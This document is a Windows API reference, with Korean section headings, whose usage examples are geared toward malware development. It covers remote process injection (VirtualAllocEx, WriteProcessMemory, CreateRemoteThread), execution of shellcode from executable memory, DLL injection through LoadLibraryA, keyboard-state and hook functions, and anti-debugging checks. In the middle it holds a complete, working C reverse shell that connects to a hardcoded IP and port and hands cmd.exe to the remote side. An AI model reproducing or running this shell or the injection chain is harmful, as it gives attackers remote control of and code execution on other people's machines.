
A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.

CreateFile```c HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); // Opens an existing file or creates a new file.
[ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile)```c
BOOL ReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
); // Reads data from the specified file.
WriteFile```c BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); // Writes data to the specified file.
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
HANDLE hObject
); // Closes an open handle.
OpenProcess```c HANDLE OpenProcess( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] DWORD dwProcessId ); // Opens an existing local process object. e.g., try to open target process
```c
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
CreateProcess```c HANDLE CreateProcess( LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); // The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.
```c
// Start the child process
// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structure
CreateProcess( NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
WinExec```c UINT WinExec( [in] LPCSTR lpCmdLine, [in] UINT uCmdShow ); // Runs the specified application.
```c
result = WinExec(L"C:\\Windows\\System32\\cmd.exe", SW_SHOWNORMAL);
TerminateProcess```c BOOL TerminateProcess( HANDLE hProcess, UINT uExitCode ); // Terminates the specified process.
[ExitWindowsEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-exitwindowsex)```c
BOOL ExitWindowsEx(
[in] UINT uFlags,
[in] DWORD dwReason
); // Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
bResult = ExitWindowsEx(EWX_REBOOT, SHTDN_REASON_MAJOR_APPLICATION);
CreateToolhelp32Snapshot```c HANDLE CreateToolhelp32Snapshot( [in] DWORD dwFlags, [in] DWORD th32ProcessID ); // used to obtain information about processes and threads running on a Windows system.
[Process32First](https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first)```c
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
); // used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.
Process32Next```c BOOL Process32Next( [in] HANDLE hSnapshot, [out] LPPROCESSENTRY32 lppe ); // used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.
[WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)```c
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
); // Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); // pRemoteCode from VirtualAllocEx
ReadProcessMemory```c BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead ); // ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.
```c
bResult = ReadProcessMemory(pHandle, (void*)baseAddress, &address, sizeof(address), 0);
VirtualAlloc```c
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize, // Shellcode must be between 0x1 and 0x10000 bytes (page size)
DWORD flAllocationType, // #define MEM_COMMIT 0x00001000
DWORD flProtect // #define PAGE_EXECUTE_READWRITE 0x00000040
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.
[VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)```c
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
); // Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
VirtualFree```c BOOL VirtualFree( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType ); // Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.
[VirtualProtect 함수 (memoryapi.h)](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)```c
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
); // Changes the protection on a region of committed pages in the virtual address space of the calling process.
RtlMoveMemory```c VOID RtlMoveMemory( Out VOID UNALIGNED *Destination, In const VOID UNALIGNED *Source, In SIZE_T Length ); // Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.
### 스레드 관리
[CreateThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread)```c
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.
[in] SIZE_T dwStackSize, // The initial size of the stack, in bytes.
[in] LPTHREAD_START_ROUTINE lpStartAddress, // A pointer to the application-defined function of type LPTHREAD_START_ROUTINE
[in, optional] __drv_aliasesMem LPVOID lpParameter, // A pointer to a variable to be passed to the thread function.
[in] DWORD dwCreationFlags, // The flags that control the creation of the thread.
[out, optional] LPDWORD lpThreadId // A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.
); // Creates a thread to execute within the virtual address space of the calling process.
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, 0);
CreateRemoteThread```c HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process.
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
CreateRemoteThreadEx```c HANDLE CreateRemoteThreadEx( [in] HANDLE hProcess, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter, [in] DWORD dwCreationFlags, [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, [out, optional] LPDWORD lpThreadId ); // Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity. // See InitializeProcThreadAttributeList
```c
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, lpAttributeList, NULL); // pRemoteCode from VirtualAllocEx filled by WriteProcessMemory
ExitThread```c VOID ExitThread( DWORD dwExitCode ); // Terminates the calling thread and returns the exit code to the operating system.
[GetExitCodeThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getexitcodethread)```c
BOOL GetExitCodeThread(
HANDLE hThread,
LPDWORD lpExitCode
); // Retrieves the termination status of the specified thread.
ResumeThread```c DWORD ResumeThread( HANDLE hThread ); // Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.
[SuspendThread](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread)```c
DWORD SuspendThread(
HANDLE hThread
); // Suspends the specified thread.
TerminateThread```c BOOL TerminateThread( HANDLE hThread, DWORD dwExitCode ); // Terminates the specified thread.
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
HANDLE hObject
); // Closes an open handle.
LoadLibrary```c HMODULE LoadLibrary( LPCTSTR lpFileName ); // Loads a dynamic-link library (DLL) module into the address space of the calling process.
[LoadLibraryExA](https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa)```c
HMODULE LoadLibraryExA(
[in] LPCSTR lpLibFileName,
HANDLE hFile,
[in] DWORD dwFlags
); // Loads the specified module into the address space of the calling process, with additional options.
HMODULE hModule = LoadLibraryExA("ws2_32.dll", NULL, LOAD_LIBRARY_SAFE_CURRENT_DIRS);
GetProcAddress```c FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName ); // Retrieves the address of an exported function or variable from the specified DLL.
```c
pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
FreeLibrary```c BOOL FreeLibrary( HMODULE hModule ); // Frees the loaded DLL module and, if necessary, decrements its reference count.
### 동기화
[CreateMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa)```c
HANDLE CreateMutex(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCTSTR lpName
); // Creates a named or unnamed mutex object.
CreateSemaphore```c HANDLE CreateSemaphore( LPSECURITY_ATTRIBUTES lpSemaphoreAttributes, LONG lInitialCount, LONG lMaximumCount, LPCTSTR lpName ); // Creates a named or unnamed semaphore object.
[ReleaseMutex](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-releasemutex)```c
BOOL ReleaseMutex(
HANDLE hMutex
); // Releases ownership of the specified mutex object.
ReleaseSemaphore```c BOOL ReleaseSemaphore( HANDLE hSemaphore, LONG lReleaseCount, LPLONG lpPreviousCount ); // Increases the count of the specified semaphore object by a specified amount.
[WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject)```c
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
); // Waits until the specified object is in the signaled state or the time-out interval elapses.
WaitForSingleObject(hThread, 500);
CreatePipe```c BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize ); // Creates an anonymous pipe and returns handles to the read and write ends of the pipe.
[CreateNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)```c
HANDLE CreateNamedPipe(
LPCTSTR lpName,
DWORD dwOpenMode,
DWORD dwPipeMode,
DWORD nMaxInstances,
DWORD nOutBufferSize,
DWORD nInBufferSize,
DWORD nDefaultTimeOut,
LPSECURITY_ATTRIBUTES lpSecurityAttributes
); // Creates a named pipe and returns a handle for subsequent pipe operations.
ConnectNamedPipe```c BOOL ConnectNamedPipe( HANDLE hNamedPipe, LPOVERLAPPED lpOverlapped ); // Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.
[DisconnectNamedPipe](https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-disconnectnamedpipe)```c
BOOL DisconnectNamedPipe(
HANDLE hNamedPipe
); // Disconnects the server end of a named pipe instance from a client process.
CreateFileMapping```c HANDLE CreateFileMapping( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCTSTR lpName ); // Creates or opens a named or unnamed file mapping object for a specified file.
[MapViewOfFile](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-mapviewoffile)```c
LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
); // Maps a view of a file mapping into the address space of the calling process.
UnmapViewOfFile```c BOOL UnmapViewOfFile( LPCVOID lpBaseAddress ); // Unmaps a mapped view of a file from the calling process's address space.
[CloseHandle](https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle)```c
BOOL CloseHandle(
HANDLE hObject
); // Closes an open handle.
SetWindowsHookExA```c HHOOK SetWindowsHookExA( [in] int idHook, [in] HOOKPROC lpfn, [in] HINSTANCE hmod, [in] DWORD dwThreadId ); // Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.
[CallNextHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex)```c
LRESULT CallNextHookEx(
[in, optional] HHOOK hhk,
[in] int nCode,
[in] WPARAM wParam,
[in] LPARAM lParam
); // Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.
UnhookWindowsHookEx```c BOOL UnhookWindowsHookEx( [in] HHOOK hhk ); // Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.
[GetAsyncKeyState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate)```c
SHORT GetAsyncKeyState(
[in] int vKey
); // Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
GetKeyState```c SHORT GetKeyState( [in] int nVirtKey ); // Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).
[GetKeyboardState](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getkeyboardstate)```c
BOOL GetKeyboardState(
[out] PBYTE lpKeyState
); // Copies the status of the 256 virtual keys to the specified buffer.
CryptBinaryToStringA```c BOOL CryptBinaryToStringA( [in] const BYTE *pbBinary, [in] DWORD cbBinary, [in] DWORD dwFlags, [out, optional] LPSTR pszString, [in, out] DWORD *pcchString ); // The CryptBinaryToString function converts an array of bytes into a formatted string.
[CryptDecrypt](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt)```c
BOOL CryptDecrypt(
[in] HCRYPTKEY hKey,
[in] HCRYPTHASH hHash,
[in] BOOL Final,
[in] DWORD dwFlags,
[in, out] BYTE *pbData,
[in, out] DWORD *pdwDataLen
); // The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.
CryptEncrypt```c BOOL CryptEncrypt( [in] HCRYPTKEY hKey, [in] HCRYPTHASH hHash, [in] BOOL Final, [in] DWORD dwFlags, [in, out] BYTE *pbData, [in, out] DWORD *pdwDataLen, [in] DWORD dwBufLen ); // The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.
[CryptDecryptMessage](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecryptmessage)```c
BOOL CryptDecryptMessage(
[in] PCRYPT_DECRYPT_MESSAGE_PARA pDecryptPara,
[in] const BYTE *pbEncryptedBlob,
[in] DWORD cbEncryptedBlob,
[out, optional] BYTE *pbDecrypted,
[in, out, optional] DWORD *pcbDecrypted,
[out, optional] PCCERT_CONTEXT *ppXchgCert
); // The CryptDecryptMessage function decodes and decrypts a message.
CryptEncryptMessage```c BOOL CryptEncryptMessage( [in] PCRYPT_ENCRYPT_MESSAGE_PARA pEncryptPara, [in] DWORD cRecipientCert, [in] PCCERT_CONTEXT [] rgpRecipientCert, [in] const BYTE *pbToBeEncrypted, [in] DWORD cbToBeEncrypted, [out] BYTE *pbEncryptedBlob, [in, out] DWORD *pcbEncryptedBlob ); // The CryptEncryptMessage function encrypts and encodes a message.
### 디버깅
[IsDebuggerPresent](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent)```c
BOOL IsDebuggerPresent(); // Determines whether the calling process is being debugged by a user-mode debugger.
CheckRemoteDebuggerPresent```c BOOL CheckRemoteDebuggerPresent( [in] HANDLE hProcess, [in, out] PBOOL pbDebuggerPresent ); // Determines whether the specified process is being debugged.
[OutputDebugStringA](https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-outputdebugstringa)```c
void OutputDebugStringA(
[in, optional] LPCSTR lpOutputString
); // Sends a string to the debugger for display.
/*** Windows Reverse Shell *
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
Written by: [email protected] (snowcra5h) 2023
*/
#include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <windows.h> #include <process.h>
const char* const PORT = "1337"; const char* const IP = "10.37.129.2";
typedef struct { HANDLE hPipeRead; HANDLE hPipeWrite; SOCKET sock; } ThreadParams;
DWORD WINAPI OutputThreadFunc(LPVOID data); DWORD WINAPI InputThreadFunc(LPVOID data); void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock);
int main(int argc, char** argv) { WSADATA wsaData; int err = WSAStartup(MAKEWORD(2, 2), &wsaData); if (err != 0) { fprintf(stderr, "WSAStartup failed: %d\n", err); return 1; }
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (sock == INVALID_SOCKET) {
fprintf(stderr, "Socket function failed with error = %d\n", WSAGetLastError());
WSACleanup();
return 1;
}
struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo* result;
err = getaddrinfo(IP, PORT, &hints, &result);
if (err != 0) {
fprintf(stderr, "Failed to get address info: %d\n", err);
CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
return 1;
}
if (WSAConnect(sock, result->ai_addr, (int)result->ai_addrlen, NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
fprintf(stderr, "Failed to connect.\n");
CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
return 1;
}
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hInputWrite, hOutputRead, hInputRead, hOutputWrite;
if (!CreatePipe(&hOutputRead, &hOutputWrite, &sa, 0) || !CreatePipe(&hInputRead, &hInputWrite, &sa, 0)) {
fprintf(stderr, "Failed to create pipe.\n");
CleanUp(NULL, NULL, NULL, NULL, { 0 }, result, sock);
return 1;
}
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF_USESTDHANDLES;
startupInfo.hStdInput = hInputRead;
startupInfo.hStdOutput = hOutputWrite;
startupInfo.hStdError = hOutputWrite;
PROCESS_INFORMATION processInfo;
WCHAR cmd[] = L"cmd.exe /k";
if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)) {
fprintf(stderr, "Failed to create process.\n");
CleanUp(hInputWrite, hInputRead, hOutputWrite, hOutputRead, processInfo, result, sock);
return 1;
}
CloseHandle(hInputRead);
CloseHandle(hOutputWrite);
CloseHandle(processInfo.hThread);
ThreadParams outputParams = { hOutputRead, NULL, sock };
ThreadParams inputParams = { NULL, hInputWrite, sock };
HANDLE hThread[2];
hThread[0] = CreateThread(NULL, 0, OutputThreadFunc, &outputParams, 0, NULL);
hThread[1] = CreateThread(NULL, 0, InputThreadFunc, &inputParams, 0, NULL);
WaitForMultipleObjects(2, hThread, TRUE, INFINITE);
CleanUp(hInputWrite, NULL, NULL, hOutputRead, processInfo, result, sock);
return 0;
}
void CleanUp(HANDLE hInputWrite, HANDLE hInputRead, HANDLE hOutputWrite, HANDLE hOutputRead, PROCESS_INFORMATION processInfo, addrinfo* result, SOCKET sock) { if (hInputWrite != NULL) CloseHandle(hInputWrite); if (hInputRead != NULL) CloseHandle(hInputRead); if (hOutputWrite != NULL) CloseHandle(hOutputWrite); if (hOutputRead != NULL) CloseHandle(hOutputRead); if (processInfo.hProcess != NULL) CloseHandle(processInfo.hProcess); if (processInfo.hThread != NULL) CloseHandle(processInfo.hThread); if (result != NULL) freeaddrinfo(result); if (sock != NULL) closesocket(sock); WSACleanup(); }
DWORD WINAPI OutputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; DWORD bytesRead; while (ReadFile(params->hPipeRead, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) { buffer[bytesRead] = '\0'; send(params->sock, buffer, bytesRead, 0); } return 0; }
DWORD WINAPI InputThreadFunc(LPVOID data) { ThreadParams* params = (ThreadParams*)data; char buffer[4096]; int bytesRead; while ((bytesRead = recv(params->sock, buffer, sizeof(buffer) - 1, 0)) > 0) { DWORD bytesWritten; WriteFile(params->hPipeWrite, buffer, bytesRead, &bytesWritten, NULL); } return 0; }
[WSAStartup](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup)```c
int WSAStartup(
WORD wVersionRequired,
LPWSADATA lpWSAData
); // Initializes the Winsock library for an application. Must be called before any other Winsock functions.
WSAConnect```c int WSAConnect( SOCKET s, // Descriptor identifying a socket. const struct sockaddr* name, // Pointer to the sockaddr structure for the connection target. int namelen, // Length of the sockaddr structure. LPWSABUF lpCallerData, // Pointer to user data to be transferred during connection. LPWSABUF lpCalleeData, // Pointer to user data transferred back during connection. LPQOS lpSQOS, // Pointer to flow specs for socket s, one for each direction. LPQOS lpGQOS // Pointer to flow specs for the socket group. ); // Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.
[WSASend](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend)```c
int WSASend(
SOCKET s, // Descriptor identifying a connected socket.
LPWSABUF lpBuffers, // Array of buffers for data to be sent.
DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
DWORD dwFlags, // Flags to modify the behavior of the function call.
LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.
WSARecv```c int WSARecv( SOCKET s, // Descriptor identifying a connected socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.
[WSASendTo](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasendto)```c
int WSASendTo(
SOCKET s, // Descriptor identifying a socket.
LPWSABUF lpBuffers, // Array of buffers containing the data to be sent.
DWORD dwBufferCount, // Number of buffers in the lpBuffers array.
LPDWORD lpNumberOfBytesSent, // Pointer to the number of bytes sent by this function call.
DWORD dwFlags, // Flags to modify the behavior of the function call.
const struct sockaddr* lpTo, // Pointer to the sockaddr structure for the target address.
int iToLen, // Size of the address in lpTo.
LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations.
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the send operation has been completed.
); // Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.
WSARecvFrom```c int WSARecvFrom( SOCKET s, // Descriptor identifying a socket. LPWSABUF lpBuffers, // Array of buffers to receive the incoming data. DWORD dwBufferCount, // Number of buffers in the lpBuffers array. LPDWORD lpNumberOfBytesRecvd, // Pointer to the number of bytes received by this function call. LPDWORD lpFlags, // Flags to modify the behavior of the function call. struct sockaddr* lpFrom, // Pointer to an address structure that will receive the source address upon completion of the operation. LPINT lpFromlen, // Pointer to the size of the lpFrom address structure. LPWSAOVERLAPPED lpOverlapped, // Pointer to an overlapped structure for asynchronous operations. LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // Pointer to the completion routine called when the receive operation has been completed. ); //Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.
[WSAAsyncSelect](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaasyncselect)```c
int WSAAsyncSelect(
SOCKET s, // Descriptor identifying the socket.
HWND hWnd, // Handle to the window which should receive the message.
unsigned int wMsg, // Message to be received when an event occurs.
long lEvent // Bitmask specifying a group of conditions to be monitored.
); // Requests Windows message - based notification of network events for a socket.
socket```c SOCKET socket( int af, int type, int protocol ); // Creates a new socket for network communication.
[bind](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind)```c
int bind(
SOCKET s,
const struct sockaddr *name,
int namelen
); // Binds a socket to a specific local address and port.
listen```c int listen( SOCKET s, int backlog ); // Sets a socket to listen for incoming connections.
[accept](https://learn.microsoft.com/en-us/windows/win32/api/Winsock2/nf-winsock2-accept)```c
SOCKET accept(
SOCKET s,
struct sockaddr *addr,
int *addrlen
); // Accepts a new incoming connection on a listening socket.
connect```c int connect( SOCKET s, const struct sockaddr *name, int namelen ); // Initiates a connection on a socket to a remote address.
[send](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send)```c
int send(
SOCKET s,
const char *buf,
int len,
int flags
); // Sends data on a connected socket.
recv```c int recv( SOCKET s, char *buf, int len, int flags ); // Receives data from a connected socket.
[closesocket](https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-closesocket)```c
int closesocket(
SOCKET s
); //Closes a socket and frees its resources.
gethostbyname```c hostent* gethostbyname( const char* name // either a hostname or an IPv4 address in dotted-decimal notation ); // returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo
### 레지스트리 작업
[RegOpenKeyExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw)```c
LONG RegOpenKeyExW(
HKEY hKey,
LPCWTSTR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult
); // Opens the specified registry key.
RegQueryValueExW```c LONG RegQueryValueExW( HKEY hKey, LPCWTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData ); // Retrieves the type and data of the specified value name associated with an open registry key.
[RegSetValueExW](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexw)```c
LONG RegSetValueEx(
HKEY hKey,
LPCWTSTR lpValueName,
DWORD Reserved,
DWORD dwType,
const BYTE *lpData,
DWORD cbData
); // Sets the data and type of the specified value name associated with an open registry key.
RegCloseKey```c LONG RegCloseKey( HKEY hKey ); // Closes a handle to the specified registry key.
[RegCreateKeyExA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa)```c
LSTATUS RegCreateKeyExA(
[in] HKEY hKey,
[in] LPCSTR lpSubKey,
DWORD Reserved,
[in, optional] LPSTR lpClass,
[in] DWORD dwOptions,
[in] REGSAM samDesired,
[in, optional] const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[out] PHKEY phkResult,
[out, optional] LPDWORD lpdwDisposition
); // Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive.
RegSetValueExA```c LSTATUS RegSetValueExA( [in] HKEY hKey, [in, optional] LPCSTR lpValueName, DWORD Reserved, [in] DWORD dwType, [in] const BYTE *lpData, [in] DWORD cbData ); // Sets the data and type of a specified value under a registry key.
[RegCreateKeyA](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeya)```c
LSTATUS RegCreateKeyA(
[in] HKEY hKey,
[in, optional] LPCSTR lpSubKey,
[out] PHKEY phkResult
); // Creates the specified registry key. If the key already exists in the registry, the function opens it.
RegDeleteKeyA```c LSTATUS RegDeleteKeyA( [in] HKEY hKey, [in] LPCSTR lpSubKey ); // Deletes a subkey and its values. Note that key names are not case sensitive.
[NtRenameKey](https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntrenamekey)```c
__kernel_entry NTSTATUS NtRenameKey(
[in] HANDLE KeyHandle,
[in] PUNICODE_STRING NewName
); // Changes the name of the specified registry key.
WSAGetLastError```c int WSAGetLastError( void ); // Returns the error status for the last Windows Sockets operation that failed.
